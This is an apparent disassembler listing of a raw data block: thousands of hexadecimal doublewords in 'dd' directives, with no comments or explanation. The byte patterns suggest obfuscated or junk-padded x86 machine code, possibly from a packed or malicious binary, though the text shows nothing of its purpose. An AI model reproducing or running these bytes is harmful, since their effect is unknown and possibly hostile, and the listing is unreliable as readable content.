		dd 118Fh, 61606000h, 8E9h, 0B84EFC00h, 0AEE5BC59h, 0E6BF616Ah
		dd 605B7044h, 0A2CA8166h, 14E96191h, 3B000000h,	17A36AD2h
		dd 0F3B9B204h, 0F17773EFh, 126F0364h, 0FCE0AE0h, 187h
		dd 8166F500h, 0F1015E2h, 2687h,	0EE800h, 0D5210000h, 0D88ACDDBh
		dd 21D11621h, 6C32374Dh, 0DE9h,	4054B600h, 389C0A7Eh, 97DD20B5h
		dd 0F55FA71Fh, 0F6061B7h, 482h,	0E0BE6600h, 9E915h, 0DC6E0000h
		dd 0EA353C7h, 61AFC87Eh, 0F9F88B60h, 0E881B461h, 12h, 0AC4235C4h
		dd 4C37478Eh, 3B587D56h, 0EFFC4265h, 840F2E42h,	3, 5E65CA80h
		dd 0F7C18166h, 0EFBA508Ch, 5A0B32C3h, 2850Fh, 5E510000h
		dd 0CE9h, 0F2F51A00h, 0C5C0BFE8h, 0DFAC495Eh, 53C88A28h
		dd 14E9h, 56E9CA00h, 0F6A22A30h, 0DE4F3A05h, 0E5734561h
		dd 9D99303Bh, 0DE95E7Dh, 57000000h, 42A8C7DBh, 24090161h
		dd 0E5075C3h, 71E68166h, 2BB665Fh, 0FF18BF0h, 68Bh, 58C18100h
		dd 0E9261FC7h, 8, 62C745FDh, 1A7F1189h,	14E8FCh, 31B60000h
		dd 0D96AF0C3h, 791F8988h, 0AAFE82CEh, 510386DFh, 0E95EF33Ah
		dd 5, 5A5DCC62h, 4ACC80BAh, 58B0Fh, 64BF0000h, 811DB454h
		dd 3E2618C8h, 0AE966h, 86E70000h, 74DD975Bh, 0F0DC1194h
		dd 2FCA8166h, 0E28166D2h, 0F08BD1ECh, 0C870Fh, 7E90000h
		dd 74000000h, 0C2BDC113h, 81600932h, 0A50C4DEEh, 46B8BA51h
		dd 8161470Dh, 2AAE91D3h, 0EDBFF501h, 0F96F75ADh, 66C2B70Fh
		dd 0E9F5D38Bh, 0Ah, 942126E7h, 0D18C2FCCh, 0B966A95Fh
		dd 0BB663055h, 8E8F0C0h, 47000000h, 115658E2h, 0F32DEAEh
		dd 68Bh, 9AF38100h, 5F1C6F34h, 0BA70D681h, 0CF8B2A12h
		dd 0FDFBF0Fh, 98Bh, 3880F00h, 66000000h, 6E9F88Bh, 45000000h
		dd 0F6EE8013h, 66D88BD9h, 0E9ECB4BBh, 0Dh, 1B81213Dh, 7FFFC583h
		dd 5D5A3E38h, 8E948h, 0C8F10000h, 8AD53648h, 0B70F8BF0h
		dd 0A576B8D3h, 0A8B83FA4h, 662CD1BDh, 7686EE81h, 158B0Fh
		dd 10E90000h, 91000000h, 2B50985Bh, 0D495FBFAh,	0F452C38Bh
		dd 812D03C2h, 2941E0E0h, 0EF816652h, 0B70F8E98h, 1800FF8h
		dd 0F5000000h, 8A08F580h, 0F18051DEh, 0F78B5E45h, 0FDF8B66h
		dd 118Ch, 0CE900h, 149A0000h, 2D54B91Dh, 6880BD1Fh, 0B70F19AAh
		dd 6717BBDAh, 0B70F6922h, 0CBBF0FD9h, 0B149D4B9h, 0E860F80Bh
		dd 0Fh,	879237ADh, 0FF9A6890h, 0D134913Ah, 0E8E7A637h
		dd 0Fh,	5F556453h, 0ADE5154Dh, 0A44EB018h, 59F586F9h, 0FF81BA58h
		dd 0F6134D5h, 587h, 42F1BE00h, 0FFC4ABFh, 585h,	0C9816600h
		dd 8B668CF5h, 8B66F9C2h, 0DE9F8h, 47C90000h, 627B5788h
		dd 2A671035h, 66B3678Fh, 0B4A4C5B8h, 18800F90h,	0E8000000h
		dd 0Fh,	4E014CF8h, 0E27EE82Bh, 1CFFAC69h, 804A0BECh, 8A5F8DE8h
		dd 0D1D580DAh, 1820Fh, 0E8F50000h, 9, 516B8E68h, 0E5CDCCF2h
		dd 0C3B70F95h, 3890F5Ah, 66000000h, 8166C28Bh, 662F0FD0h
		dd 0FC1339BFh, 69F08166h, 0DB8166A3h, 81663B3Ch, 0B59C43CEh
		dd 0D08156D7h, 3F1B294Ah, 2840F5Eh, 0B3000000h,	198B0FACh
		dd 0E9000000h, 14h, 9EE84B53h, 331B112Dh, 81643F0Ah, 0BC42A540h
		dd 0CA7F4104h, 13E9h, 0C89D3200h, 33E4FF84h, 161465FDh
		dd 3A4CDB0Eh, 0FAA5A820h, 0AE9h, 0AC008A00h, 7BBEFAC4h
		dd 5052B4FBh, 7FC08166h, 12E85A7Ch, 0D0000000h,	13CDDAF9h
		dd 0D12E9B48h, 3EDDB169h, 12DE8E25h, 15840F39h,	0E9000000h
		dd 10h,	1C680256h, 2408E7E7h, 0C107C750h, 31C9BAA9h, 0F080525Ah
		dd 0EF815F30h, 8448C5Ah, 0B6E988B8h, 8E96029h, 50000000h
		dd 0D161B2BCh, 66E2065Ah, 0A705E281h, 8E961h, 38700000h
		dd 20B10229h, 0F60F1B9h, 68Bh, 8F0F00h,	81000000h, 511856CFh
		dd 14E8614Dh, 2C000000h, 0EC1B4CEAh, 1747AEF8h,	2CE024D8h
		dd 0F4B37755h, 0FBFBF2Dh, 385h,	0CAB70F00h, 0C9816659h
		dd 840F0601h, 6, 775EEF81h, 0F4B671C6h,	0A3D1B1BAh, 84BA664Eh
		dd 0C1BA66BCh, 9DB1BF2Fh, 0BB6622D8h, 8B667AEAh, 53C78AF1h
		dd 7CC6F281h, 0F5F1662h, 583h, 0D6816600h, 8B66A90Dh, 0B55157F7h
		dd 0F5E5850h, 18Bh, 0F38BF800h,	5880Fh,	3EBF0000h, 0F529B74h
		dd 84h,	0E9C38B00h, 0Dh, 0C5C9F65Eh, 3F75201Dh,	0F2B6AE79h
		dd 24F6812Bh, 0E9097000h, 13h, 66915C0Ah, 0B3A9D802h, 0BE7E8C66h
		dd 1B13C697h, 0FAF07C5h, 28Eh, 60D58A00h, 0CEF08166h, 563FBE7Eh
		dd 66617EADh, 80B30DBFh, 5E8F8D6h, 65000000h, 1FD49949h
		dd 5FD7B70Fh, 0BA66B6B1h, 0BB9CF41h, 80707D70h,	6ABF35D8h
		dd 0F5070AEh, 8Fh, 0CBC78100h, 6610742Ch, 80ECE381h, 4BF38166h
		dd 8E8E2h, 0F75D0000h, 0CC362178h, 58FC1FD1h, 5840Fh, 81660000h
		dd 0B975DCDAh, 113AFF18h, 69C7BA66h, 10E9F08Bh,	0F5000000h
		dd 6CACE899h, 0E0B10E9h, 42CE39F6h, 0BA102D17h,	538153Fh
		dd 860FF98Bh, 1, 8E8FCh, 6D3A0000h, 78A66ECEh, 0BF6639E6h
		dd 565827D9h, 0D281F85Fh, 4DE79361h, 9E860h, 0EBC70000h
		dd 724BED4Eh, 5EAE6ABFh, 2870Fh, 61600000h, 0E8F48A61h
		dd 0Bh,	990151B8h, 259D519Ch, 8B6D266Bh, 0BE665ADFh, 13E97427h
		dd 0F6000000h, 711F11A9h, 0B40F18D2h, 60A957F6h, 0E382E5A8h
		dd 0E2817E04h, 4F68D058h, 0CE9FCh, 5C890000h, 4087425Eh
		dd 0AB01F36Bh, 8B66688Bh, 0C830FFEh, 0F000000h,	68Eh, 880F00h
		dd 0F8000000h, 0EEE80FCh, 0ABF08166h, 6840FFFh,	0F000000h
		dd 81h,	6E900h,	0DD5E0000h, 0FEB2B3B5h,	860Fh, 0CE80000h
		dd 81000000h, 0E84A7AD1h, 836AB267h, 0FE0EF0Ah,	584h, 0C7816600h
		dd 60598D21h, 58B0Fh, 81660000h, 8B6841E1h, 8B6661F3h
		dd 0D3B70FF1h, 80F98B66h, 0B70F4FC7h, 2880FFAh,	8B000000h
		dd 28D0FD6h, 0B6000000h, 0EDE181B0h, 0F6D6F4Dh,	187h, 65BEF900h
		dd 811CFE4Ch, 2FC647C0h, 0E9CE8B64h, 14h, 702072B2h, 0AE43861Fh
		dd 0C373FB18h, 108F1D3Ah, 0F12BFD71h, 0A3FA76BFh, 5E85Fh
		dd 0C4300000h, 58F9CE3Eh, 12E981B7h, 36000000h,	0A8FF9800h
		dd 50EBE16Ah, 53937064h, 0F0D8D3EFh, 0F78160A9h, 329A7F33h
		dd 0D1DF8161h, 0F3CC068h, 68Eh,	29D68100h, 0E96AA2C6h
		dd 7, 0B6A3BB6Fh, 60615DDDh, 11E9h, 0A7CC8C00h,	988C488Eh
		dd 471AB9EBh, 186A7943h, 0B70F1737h, 8B6661F2h,	6E8F3h
		dd 0F76E0000h, 4DB61353h, 0CDE68166h, 0DE959F9h, 0AD000000h
		dd 0E58AD81Dh, 0D4193BACh, 51CB2B9Fh, 2DD98166h, 816650A6h
		dd 5F234AEAh, 66C28B66h, 7783E781h, 830Fh, 0B7FC0000h
		dd 0EE81667Ch, 0E9509AE9h, 12h,	0B5C5F186h, 305B692Bh
		dd 5F254979h, 68F1539Dh, 535A42E5h, 7802BB66h, 3890F5Bh
		dd 0F000000h, 0C6B8CBBFh, 0E94B92EBh, 0Ah, 63175899h, 91134455h
		dd 6E947F3h, 0A4000000h, 0FBBF098Ah, 0E960FCF8h, 6, 0BA8B0DBCh
		dd 6660B3C3h, 0D78BCE8Bh, 81666161h, 8B9D6EC7h,	60E38AD6h
		dd 8BF28B66h, 0B70F61F3h, 13E9D9h, 31140000h, 0F7850AD1h
		dd 74B40530h, 699149EDh, 2E687471h, 0BBE5B600h,	262D1E46h
		dd 8BDBB70Fh, 0AE9FBh, 6B8D0000h, 9F52448Eh, 0C1C25299h
		dd 5A5B5351h, 0FCFCCB8Bh, 0C294EF81h, 0F607B03h, 580h
		dd 8D26B800h, 0F6157F5h, 78Eh, 5AB85200h, 5A4C1BDDh, 0E3816660h
		dd 98BE7FD1h, 611538DBh, 0BFC78166h, 8B62B50Bh,	0ECB9FCFBh
		dd 0E92383E9h, 14h, 0B9FA5143h,	4AE348EBh, 5757C467h, 15BBA910h
		dd 0CD4D0743h, 0AE9h, 0F2B1E400h, 8028B76Ch, 52C2DDEDh
		dd 5AE78A56h, 7279B85Ah, 66571B1Ch, 5B7B48B8h, 0F7D08166h
		dd 0B72FB55Dh, 0F830F3Ah, 0E9000000h, 0Ah, 0FE51BFFFh
		dd 0C0E6E17Fh, 0F60A4A2h, 483h,	79BB6600h, 0D780538Bh
		dd 66615859h, 0FD4D9BEh, 82h, 0AE900h, 0E8220000h, 0B4EA040Fh
		dd 143BF9A3h, 0FC78B66h, 384h, 0F0BF0F00h, 0BE6BC881h
		dd 51FC3387h, 7D2E3DBEh, 80605B22h, 10E9E1D3h, 0C2000000h
		dd 0E601B400h, 91559EE0h, 10915EDDh, 611B01C3h,	0E9F9E4B0h
		dd 9, 11166131h, 219D75EEh, 85E081E1h, 0F646251h, 288h
		dd 60D68B00h, 13E961h, 0F9950000h, 827BB7B5h, 0CE7F25A9h
		dd 0FC178BE8h, 0BB4ABF12h, 0B1D98BBCh, 0DE8B6664h, 3800Fh
		dd 0BF0F0000h, 79E281F8h, 66066EB1h, 4938C281h,	6850Fh
		dd 0DF810000h, 242205BAh, 9E8h,	0C846BB00h, 0A9286687h
		dd 81661CA3h, 5FC675C7h, 58EAF381h, 840F5676h, 2, 0E28141B0h
		dd 5F00AA9Eh, 66F0BF0Fh, 1BC7E781h, 0BBF5C18Bh,	47A02713h
		dd 0BE824B4h, 0FC000000h, 512DDEE3h, 84AFBDBCh,	0F58A12C4h
		dd 0DF8BF85Eh, 208F61BFh, 0AE910h, 86D10000h, 3D4CB49Dh
		dd 349AC76Dh, 7E96060h,	0D7000000h, 0DFAE80D3h,	800F487Ah
		dd 0
		dd 11BA6661h, 0B966613Dh, 8B6645ACh, 6641B4C7h,	870FF18Bh
		dd 0
		dd 14E9C78Bh, 92000000h, 5049CABFh, 0CDEFADB2h,	0B06103D6h
		dd 0C92F4FF1h, 0E9FCA19Ch, 8, 0E1D15618h, 0C844AC80h, 0FE9h
		dd 229E7700h, 0B5EF713h, 5B6CD62Ch, 0C7178C55h,	0E8F1BF0Fh
		dd 6, 4B47523Ch, 8A562D8Ch, 81585FDCh, 8C14CFEFh, 5830F1Fh
		dd 0BB000000h, 41FF90EAh, 0D281C88Bh, 1DAF95DBh, 6E9h
		dd 37390100h, 527205FEh, 12E8h,	0D8D9DA00h, 0F4057006h
		dd 8149FD6Fh, 5212E173h, 5B946A4Dh, 0DABF0F59h,	4B0AD281h
		dd 41B93555h, 0E976FF20h, 10h, 0B757A4CCh, 0E95B302Dh
		dd 25135865h, 0A0195FC1h, 76EB8166h, 0F606063h,	8Fh, 9E900h
		dd 153D0000h, 0EA26CE95h, 61E9958Eh, 61DFB70Fh,	13800Fh
		dd 0EE90000h, 7A000000h, 4E4659C2h, 0D8878A62h,	0F364A174h
		dd 5E828h, 0C2910000h, 816AF3BEh, 81B528CEh, 830F5867h
		dd 7, 0F5E5160h, 0BF61FABFh, 4D6F3266h,	0CE8h, 0F1A05700h
		dd 0DBBCC7DFh, 450B3DCAh, 59A3B745h, 5FF28B53h,	0CE9h
		dd 10CED700h, 98C99366h, 0F99127Eh, 5E92Fh, 8D0E0000h
		dd 0BEBE64E6h, 1FF36FD2h, 13E9h, 2000000h, 0F4C5F662h
		dd 5CB9D5AFh, 0E89CDAEEh, 4BE969B9h, 8BD78B66h,	53BF66D9h
		dd 8E94Fh, 2DC10000h, 7AE3388Ah, 13E90F94h, 93000000h
		dd 0DE717391h, 4EC9A193h, 11B30263h, 0EFB47661h, 13E9BE6Ah
		dd 4B000000h, 0B2234DD5h, 32717F0Eh, 34DAD6h, 0D9E49D36h
		dd 81661572h, 660403D8h, 0FC3151BAh, 0DE860F5h,	0E000000h
		dd 5C2AC205h, 0ADC68931h, 1485E9BBh, 565F5A52h,	7E9h, 8800C600h
		dd 6F4BA896h, 0C681615Ah, 314A6CEEh, 2657BE66h,	5840F60h
		dd 66000000h, 5169F281h, 6110E980h, 11E9h, 674D5100h, 8DD0E181h
		dd 646A7D88h, 0EEFEDE02h, 0C2B2D584h, 0EE8h, 0C5CA9300h
		dd 8B36C690h, 0E676495h, 0BE8D3CDAh, 378D5697h,	0B827B05Ah
		dd 6D7BCF14h, 66D7BF0Fh, 63BFC38Bh, 8B72A4E3h, 0DF8B66D0h
		dd 0EE8CF8Bh, 58000000h, 0E38159D7h, 30DC514Dh,	0DB26B1F0h
		dd 0D18DBF24h, 8B5E6F4Fh, 11E8F0h, 59E80000h, 3BEBC2CCh
		dd 0B598A60Eh, 4FA1E100h, 0E8D855DFh, 0Ch, 8593A209h, 8E15ECE6h
		dd 93CD5A4Eh, 0CE9h, 4781D500h,	7BBBE7B0h, 7A9EBFC6h, 8B5A5F01h
		dd 0D18BF9D3h, 9E9h, 0A2513B00h, 0EC1D594Bh, 81573EBAh
		dd 7E45B8E7h, 8B665B4Dh, 5E9F3h, 7F5A0000h, 81B6282Dh
		dd 0D57052E6h, 0EE92Ah,	7FCB0000h, 0F7C22014h, 4033D997h
		dd 0AD6BDA67h, 6E8h, 9C8C6C00h,	8B75CC1Ah, 0BE85AF7h, 35000000h
		dd 30D574DCh, 4AD8DD13h, 0BA535E4Eh, 1F2D4F39h,	81605B5Eh
		dd 3217AADBh, 8A61FC3Dh, 0E28166DEh, 0BF0FC02Bh, 8D0FFCDBh
		dd 3, 8BFBBF0Fh, 14E960FEh, 21000000h, 0EB95E0C3h, 99820BC4h
		dd 624469Fh, 847A7304h,	0F750A21h, 587h, 0EB816600h, 0E86170AFh
		dd 11h,	55A33045h, 0D896F804h, 0A16D1FDDh, 0B54DFF63h
		dd 2860FA3h, 51000000h,	0B9665F5Fh, 0B9666D7Eh,	7E915F0h
		dd 24000000h, 0DA7DB862h, 0FEBA6F09h, 661C9C60h, 0AE9CF8Bh
		dd 7A000000h, 0AB380206h, 2BA43070h, 2820F9Eh, 0B3000000h
		dd 0E9D48A59h, 9, 0A2B65E68h, 0D80880Ah, 0D5CE8087h, 56B489B6h
		dd 0EE8h, 5FA9500h, 64444836h, 66B6BA34h, 662E5AE9h, 8058CB8Bh
		dd 8B66F0CBh, 0F78166D6h, 0BA662F2Fh, 665093E3h, 0F3B5D281h
		dd 0F850F5Fh, 0E9000000h, 0Ah, 0D4622899h, 4A47EBAEh, 665185D3h
		dd 3CE6C281h, 2287B95Eh, 8B667521h, 0C38166DEh,	8166FF5Eh
		dd 0B8D8E0EEh, 77B63227h, 0A830FF8h, 0F000000h,	480h, 19B86600h
		dd 5880F54h, 56000000h,	5AD7B70Fh, 84C98166h, 0E6E9815Eh
		dd 0F51E96A8h, 61605751h, 0E9F95F5Eh, 14h, 91520E6Fh, 0E25BE1Ch
		dd 977CCBE8h, 61F407C4h, 0ACB84B83h, 11E960h, 85CD0000h
		dd 0F90D8A70h, 0B42C517Dh, 9453EA9Dh, 0F5DF6F66h, 6E861h
		dd 0AE080000h, 0D0F9B697h, 860FF95Ah, 0Ah, 815F5360h, 5A3A26EFh
		dd 0E9F56109h, 14h, 5A181787h, 0FF0CE77h, 0B72DDC1Ch, 785AEBE3h
		dd 0ABE989AAh, 13E9h, 0A1FC9C00h, 0E779765Ch, 55BC293Ah
		dd 0E7E20447h, 72DB44DDh, 0E85FC680h, 5, 0B9C752BCh, 840FFEh
		dd 5B000000h, 18FFD381h, 820F022Ch, 0
		dd 8B66F08Bh, 5CF81FBh,	8015E308h, 0EE8149E8h, 6FFD7C0Dh
		dd 28F0Fh, 49B20000h, 0BF0FFB8Bh, 7E860F8h, 5A000000h
		dd 0AD2FF379h, 8B66B88Ah, 53605FD0h, 8161615Bh,	0A550C8C3h
		dd 0F3805079h, 0F2815920h, 4690E2B1h, 11E9h, 98180500h
		dd 71C22267h, 5567911Fh, 0F28C3A70h, 0BF0F8239h, 0AE960FFh
		dd 8B000000h, 44AD1982h, 0D7C37E2Bh, 5B0531Ah, 0D18B615Ah
		dd 97DFBF53h, 665809FDh, 8A0FD78Bh, 4, 0F9F6BE66h, 0F8D18B66h
		dd 0DE9h, 2C53E200h, 34CFD25Eh,	655C1E67h, 8B66F95Dh, 8B5852DEh
		dd 1DC2BECBh, 800F367Fh, 3, 0E8FEBF0Fh,	0Bh, 0A82E8053h
		dd 9249ACF3h, 0FE2FB79h, 38Bh, 0FFB70F00h, 80EF805Ah, 14E8DE8Bh
		dd 0EF000000h, 99D50F1Fh, 61953608h, 0A3CC68D2h, 604404D1h
		dd 66E0F27Dh, 33B6CB81h, 0E8D78A5Eh, 0Ch, 5F424665h, 50476110h
		dd 929D6CC0h, 11E960h, 0DB370000h, 0BF937CE7h, 989C6A85h
		dd 0A62466DBh, 0E9C07CC6h, 0Ch,	5A636660h, 27CEC440h, 4D4182A3h
		dd 0B70F5A61h, 0BE8C8h,	8F420000h, 0CF83C50Fh, 0F9A6E1BFh
		dd 38F0F60h, 0F000000h,	665BF6B7h, 0D7ECE281h, 0FCFA88BBh
		dd 0F480513Fh, 0E850593Dh, 0Ah,	7111E325h, 0F10CA10Ch
		dd 0B70FC293h, 8B595EC2h, 1850FD7h, 0F5000000h,	28A0Fh
		dd 0C88A0000h, 5E9h, 9D22F800h,	81FC3EB8h, 0A4225FE1h
		dd 66C0B743h, 0BA66F98Bh, 8B661C6Eh, 0CB8AF9DFh, 8A53ED80h
		dd 0ECB966F5h, 6800F63h, 81000000h, 5091E9D2h, 0EB81667Fh
		dd 0C9815CAAh, 4A1F7748h, 16800F56h, 0E9000000h, 11h, 18E7B741h
		dd 0E6F4160Ah, 8D308F3Dh, 0B7257168h, 0C2805B6Bh, 0C98160B5h
		dd 4AE61BF3h, 0F61F0B2h, 8Bh, 12E8F900h, 74000000h, 0AA398A34h
		dd 908CC0B0h, 0C05EAA67h, 0A101C96Ah, 0BF0F606Fh, 615857FAh
		dd 81666059h, 0F16D9C3h, 1785h,	12E900h, 0CE3C0000h, 5B2BCFAFh
		dd 8202E09Ah, 0C0589C2Ah, 72797BA4h, 14E961h, 0ED440000h
		dd 2F3DC619h, 0F9A1857h, 38DCD926h, 0FBE44775h,	81665A6Fh
		dd 0E9EC8FE3h, 5, 0C306BD1Dh, 0E281661Fh, 0AE98AC2h, 0E000000h
		dd 0A7E3D3A8h, 122787EFh, 0D8B70F68h, 8166C8B3h, 0F9E42CFh
		dd 58Eh, 0E1816600h, 0DD8A580Fh, 0DB8166FCh, 0D18B68B3h
		dd 2860Fh, 0FD8A0000h, 5CEED281h, 8B660788h, 0F5350CFh
		dd 89h,	0E9585E00h, 7, 0BC2AA296h, 0E96640ACh, 5, 453C52BBh
		dd 890F20h, 57000000h, 0DE9h, 374F8900h, 197CF544h, 485F2A17h
		dd 805A7AA7h, 0E86077CFh, 7, 7D6B0A97h,	0BB8FE45Bh, 26367D71h
		dd 6800F59h, 81000000h,	0B6BB05DFh, 80F86151h, 8A0F75C4h
		dd 4, 5EA5B752h, 0AE8h,	43376400h, 0A6138369h, 0E914BD4Bh
		dd 12h,	625408F7h, 21B9F048h, 7656E725h, 0AFDB683h, 0F583E59h
		dd 0A80h, 4860F00h, 66000000h, 664F34BEh, 50AFC881h, 810F1CB3h
		dd 12h,	0DE9h, 0E6B22B00h, 0A5CF4993h, 0E5818377h, 830FA451h
		dd 0
aKus		db 'Šãé',0Dh,0
		db 2 dup(0), 3Eh
		dd 0C7B338BAh, 60A8B530h, 0EA63B6B1h, 819DE480h, 69E322DEh
		dd 66D08B07h, 0FF295B9h, 380h, 0EFCF8000h, 0BEF8166h, 8B0FF1h
		dd 56000000h, 0DE95FF8h, 3D000000h, 0EBAFEA61h,	6570A636h
		dd 8C425529h, 6E9h, 0CE38AF00h,	0F9739193h, 0FE9h, 5B543F00h
		dd 3A33CB7Dh, 0F87FBFEDh, 95CB1F4Bh, 0ADCA8166h, 0D8A3B8C9h
		dd 27BB34FFh, 0BF63CED3h, 429A20E8h, 6E8h, 72329500h, 669082A0h
		dd 489E381h, 0DF41BB5Bh, 0E85675C0h, 13h, 0B8B5C0CFh, 83E58B66h
		dd 0C2FE6AAFh, 208CF035h, 0E82B74CAh, 10h, 7CD906A3h, 297ED11Dh
		dd 0D1FCAC18h, 0A7DA7B2Fh, 0F595B5Fh, 8B0FDEB7h, 3, 0B8C18B66h
		dd 328352EDh, 6820F60h,	0F000000h, 84h,	12E96000h, 97000000h
		dd 872E79BFh, 0C02062FCh, 5CD8DF1Ch, 929218DFh,	27BF66D4h
		dd 606161DDh, 8BD68B66h, 54BF61F2h, 0E97FE46Ah,	6, 84F197DFh
		dd 0BB66BE16h, 66601FE9h, 61BE58BFh, 55F68166h,	0B97DB544h
		dd 2103F70Eh, 1800Fh, 0FF80000h, 5351D0BFh, 5E95E5Bh, 0EB000000h
		dd 0C0617301h, 0CE8B66F8h, 58F18166h, 3840F23h,	0F000000h
		dd 51FCF6BFh, 2735C181h, 6658650Eh, 0E99250BFh,	0Bh, 0F5AE3683h
		dd 0F2DC0B2Eh, 0F8F6EE9h, 138Dh, 0EE900h, 0B9BA0000h, 78761D2Bh
		dd 864B7156h, 5BD5A1E7h, 10E9h,	0A4F32000h, 713A5FCCh
		dd 0D2EC7567h, 0A6FE6645h, 0BE9F908h, 0DB000000h, 6BBD6084h
		dd 0C841575Eh, 880F5138h, 0Bh, 6E9h, 360B7800h,	501AB606h
		dd 58F88B66h, 1CF8166h,	0CA8B6602h, 0B54C52BAh,	0B853B466h
		dd 4550C84Fh, 10E8h, 453A5B00h,	0E17DC95Eh, 12DCABF4h
		dd 4BCE605Fh, 81665F25h, 667C9CCAh, 8B0C0ABAh, 58F0FD1h
		dd 0BF000000h, 0FFA8266h, 0FD0B70Fh, 11E9C9BFh,	0E6000000h
		dd 0BEB0A8A5h, 8F01EF51h, 1076E5D4h, 881128FEh,	7838C281h
		dd 5E87B9Bh, 0F2000000h, 3AA24645h, 28F0Fh, 59520000h
		dd 810F605Eh, 4, 2BDEBE66h, 7E9h, 577F0400h, 2BF0EAE8h
		dd 99F68161h, 602CE2DBh, 59F18166h, 0DA8B6687h,	0D3B96661h
		dd 0C6E08030h, 830Fh, 0F600000h, 58Ah, 0EA816600h, 8B666F29h
		dd 666061F2h, 94B7D781h, 81666061h, 668E30DBh, 615F35BAh
		dd 0DE9h, 0CC421500h, 0EEB8ED3Dh, 0F83851Eh, 0E8809769h
		dd 14E90Bh, 0FBCF0000h,	0E6E65F68h, 8ABBF8CFh, 0B4037BE6h
		dd 71AE3ADAh, 9E9CEB3h,	0A0000000h, 443BC974h, 18BD67A9h
		dd 0EE8h, 19FD3F00h, 0C72B3BB6h, 606A9178h, 0E9B66C63h
		dd 0Dh,	3DCC4215h, 1EEEB8EDh, 690F8385h, 66525897h, 8F36D781h
		dd 4CBF6658h, 3830F8Eh,	0F000000h, 0E3BEF3BFh, 0E922FBDEh
		dd 10h,	0B48B8753h, 0B64A10A2h,	6BD5F1F6h, 9FD24E76h, 989BEEB9h
		dd 850FF548h, 0
		dd 0EE9h, 0C3A98800h, 0ED427C28h, 35B7EF97h, 605B2953h
		dd 0F64FBE66h, 0D98161F5h, 6980F7F5h, 66FCD18Ah, 10E9FB8Bh
		dd 0D7000000h, 46DB3812h, 2200E068h, 0C90A0D55h, 0E9413E61h
		dd 0Ah,	8E779A70h, 808F0D98h, 0CE96E0Ah, 0C5000000h, 8F96992Bh
		dd 34D03213h, 8044DA86h, 0E851C7EDh, 0Ch, 1DEDC057h, 2EDE7298h
		dd 2DFBB2DEh, 5BC7DF80h, 8ACA8B58h, 7E9CFh, 0B6F0000h
		dd 38673E8Fh, 19CA81D6h, 0B5125757h, 0EE94Bh, 0B5BC0000h
		dd 1D01ED9Ch, 0C239B284h, 95075B56h, 1254CF81h,	0BE97C21h
		dd 0EF000000h, 3737B8CCh, 5CAC783Ch, 8A0F9F93h,	2, 0E952F28Bh
		dd 11h,	31BE10B6h, 9445785Bh, 0B3095600h, 14D8A7C6h, 8E0F5F5Bh
		dd 14h,	0FE9h, 0E2083500h, 2B580D03h, 0F68B7982h, 1EC4107Ch
		dd 5FD08166h, 0CE811h, 0D6E0000h, 816F695h, 32DB08Dh, 0DF8BC046h
		dd 0F60F85Bh, 81h, 0DFB70F00h, 2CDF8161h, 664DF16Ah, 5D50E281h
		dd 0EE9CB8Bh, 34000000h, 233FDF19h, 0B9E30D24h,	0EA078AE2h
		dd 13E9D5h, 1B760000h, 9D31281Eh, 6D11A745h, 0CC29EAB3h
		dd 0C4A92332h, 0FE8F521h, 0D9000000h, 30CB3C18h, 1890D789h
		dd 5476413Dh, 5E95980h,	73000000h, 944ADE36h, 4830F5Ah
		dd 66000000h, 0E9E07BBEh, 0Dh, 5FD9FB8Eh, 50329321h, 7B8AAEC5h
		dd 10E8D7h, 0E61D0000h,	47FA1FB4h, 0F8AD4563h, 0ED632F89h
		dd 0EA8A3F4Eh, 0AE959h,	49530000h, 0AB18C8Fh, 0D9587B65h
		dd 13E9h, 0C2E2C100h, 0E4F3E0B1h, 0B31D96A7h, 0C3D5191Ah
		dd 7B741AB4h, 3A10E4BBh, 10E93Ch, 80840000h, 78727A29h
		dd 73B93292h, 59E2CE99h, 5ABBA1A6h, 6653C0FEh, 56B39CB8h
		dd 0F88B6651h, 0DE85A5Bh, 40000000h, 0C48F71D2h, 40C18CBFh
		dd 0A14BEAE5h, 5AC78B66h, 51EA8060h, 28C0Fh, 5B520000h
		dd 0B97BBF61h, 48B35FAEh, 4800FF8h, 66000000h, 6099D8BEh
		dd 10810Fh, 0AE80000h, 0E4000000h, 5B3B601h, 312D3E95h
		dd 81665B68h, 616369E9h, 4EEA8166h, 4EDF806Ch, 8266BA66h
		dd 5840Fh, 81660000h, 0BE1D48CBh, 63FBEE8Dh, 10E8E18Ah
		dd 0CB000000h, 328B05C1h, 37F00658h, 8007207Fh,	0B94BC352h
		dd 7D20DA8h, 1AB2BB59h,	60F57C4Ch, 0AE9h, 69E82C00h, 5E36F3CAh
		dd 8016E434h, 0FC6107D3h, 81C38B60h, 484097F0h,	8A0F612Bh
		dd 1Dh,	11E8h, 835F6B00h, 5768C369h, 0C75B165Bh, 98977028h
		dd 0D3813E0Ch, 6DAFE31Bh, 850F5Fh, 81000000h, 43EC7ADBh
		dd 0CE801h, 5D4D0000h, 3F629591h, 3F25E4Ch, 81662F9Dh
		dd 59B66DC6h, 6E951h, 19200000h, 0ECD9D6B3h, 0F98B665Ah
		dd 0F366BEF5h, 0F5368FEh, 38Ah,	0FA8B6600h, 0A8B9665Ah
		dd 0DC78BA67h, 0D981477Eh, 781CC25Bh, 0A85DE681h, 0C38157D5h
		dd 34C6D0F8h, 0A372C781h, 12E97801h, 48000000h,	34ECD775h
		dd 407D8E02h, 48442CC1h, 257F2292h, 5820F75h, 66000000h
		dd 7B34DB81h, 0F31DE80h, 1680h,	108D0F00h, 0E9000000h
		dd 0Bh,	0DF80AAE9h, 818CFF9Ch, 5334DED8h, 81665BF8h, 0F98D1EFh
		dd 386h, 41E38000h, 0EE8h, 6C2FAC00h, 52B2FFE2h, 0B7208FADh
		dd 0E8A1B2FCh, 6, 0E4237F30h, 0BE985D7h, 4E000000h, 29D05D32h
		dd 0FCF7712Ah, 595A1A72h, 0FE9h, 0DDAD2800h, 0DC605D02h
		dd 0A42A7AB1h, 640CBEA5h, 0CE8h, 3301AB00h, 0E543D388h
		dd 7EAC528Bh, 12E8DEh, 48130000h, 69D12E9Bh, 253EDDB1h
		dd 3912DE8Eh, 2B7DFB62h, 8E0F5F5Eh, 6, 0F018E081h, 0C2813917h
		dd 61F230ECh, 0F8BCDF80h, 5840Fh, 80500000h, 605BF6D5h
		dd 0E9F6B70Fh, 0Bh, 0CD819B71h,	6B8D8548h, 6152448Eh, 9BD38166h
		dd 14E932h, 0EB350000h,	0C0761524h, 16F73B12h, 0CCF4845Fh
		dd 0A160B80Fh, 8E0FB418h, 11h, 0B880Fh,	6E90000h, 17000000h
		dd 4C5F0ED2h, 9E9FEh, 248D0000h, 1A9F7D47h, 0E84A9FEDh
